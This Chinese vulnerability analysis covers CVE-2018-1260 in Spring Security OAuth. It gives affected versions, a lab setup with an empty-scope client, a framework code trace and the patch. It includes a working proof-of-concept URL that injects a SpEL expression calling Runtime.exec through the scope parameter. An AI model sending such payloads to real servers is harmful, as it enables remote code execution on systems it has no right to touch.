关于CVE-2018-1260

一个标准的由于spring将不可信数据当作SPEL表达式直接解析导致的RCE漏洞

影响范围

Spring Security OAuth 2.3 to 2.3.2
Spring Security OAuth 2.2 to 2.2.1
Spring Security OAuth 2.1 to 2.1.1
Spring Security OAuth 2.0 to 2.0.14
Older unsupported versions are also affected

利用条件

Act in the role of an Authorization Server (e.g. @EnableAuthorizationServer)
只作为授权服务器时(如使用了@EnableAuthorizationServer注解)

Use the default Approval Endpoint
使用了默认审核终端或在重写的审核终端逻辑中使用SpelExpressionParser等对输出内容进行SPEL表达式解析

未配置Scopes或Scopes范围为NULL(逃过validateScope方法的限制)

POC

http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/chybeta&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D

漏洞分析

漏洞触发的方式是恶意用户向授权服务发起授权请求,当转发至授权终端时(Approval Endpoint),带有payloads数据经过层层传递,被spel表达式解释执行最终造成rce

搭建环境

最想哭的就是由于各种限制,我花费了好大劲才搭建好环境
我这里使用的是IntelliJ IDEA
1.下载网上现成的源码例子
https://github.com/wanghongfei/spring-security-oauth2-example.git
2.按照说明搭建好数据库, 导入数据。(这步需要正确配置application.properties,否则spring boot应用启动报错)
3.修改cn.com.sina.alan.oauth.config.OAuthSecurityConfig文件中的68行的configure方法

  1. public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
  2. clients.withClientDetails(clientDetails());
  3. clients.inMemory()
  4. .withClient("client")
  5. .secret("secret")
  6. .authorizedGrantTypes("authorization_code")
  7. .scopes(); //scopes参数为空,我们在利用时,需要scopes为空这个属性绕过其中一个关键的验证方法
  8. }

4.intelliJ IDEA 运行 AlanOAuthApplication

函数调用过程

  1. 当我们访问`http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/chybeta&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D`时,
  2. 会进入到org.springframework.security.oauth2.provider.endpoind.AuthorizationEndpoint.java文件的authorize方法
  3. 跟踪进入到org.springframework.security.oauth2.provider.request.DefaultOAuth2RequestValidator:validateScope()方法中
  4. 跟踪进入到ValidateScope
  5. private void validateScope(Set<String> requestScopes, Set<String> clientScopes) {
  6. if (clientScopes != null && !clientScopes.isEmpty()) { //此处会对clientScopes进行检查,如果不为空,就会进行后面的白名单检查,因为我们此前在OAuthSecurityConfig.java文件的configure方法中奖clientScopes设置为空,因此这里会跳过判断<br /> for (String scope : requestScopes) {<br /> if (!clientScopes.contains(scope)) {<br /> throw new InvalidScopeException("Invalid scope: " + scope, clientScopes);<br /> }<br /> }<br /> }
  7. if (requestScopes.isEmpty()) {<br /> throw new InvalidScopeException("Empty scope (either the client or the user is not allowed the requested scopes)");<br /> }<br /> }
  8. 继续跟踪,进入到getUserApprovalPageResponse()方法<br /> 这时候用户获得授权,会转到视图 forward:/oauth/confirm_access 进行渲染
  9. @RequestMapping("/oauth/confirm_access")<br /> public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {<br /> String template = createTemplate(model, request);<br /> if (request.getAttribute("_csrf") != null) {<br /> model.put("_csrf", request.getAttribute("_csrf"));<br /> }<br /> return new ModelAndView(new SpelView(template), model);<br /> }
  10. 这个时候我们可以看到应用程序通过createTemplate方法创建了template,<br />并且将template传入SpelView进行了解析<br /> 到此,分析结束

缓解方式

从官方提交的补丁来看https://github.com/spring-projects/spring-security-oauth/commit/adb1e6d19c681f394c9513799b81b527b0cb007c

修复方法中直接删除了SpeLview,改成了其他的页面渲染方式,同时还对createScopes()的方法也进行了修改,导致无法通过spel表达式执行rce了。

参考

https://chybeta.github.io/2018/05/12/RCE-with-spring-security-oauth2-%E5%88%86%E6%9E%90-%E3%80%90CVE-2018-1260%E3%80%91/
https://blog.spoock.com/2018/05/13/cve-2018-1260/
https://blog.csdn.net/u013224189/article/details/80856054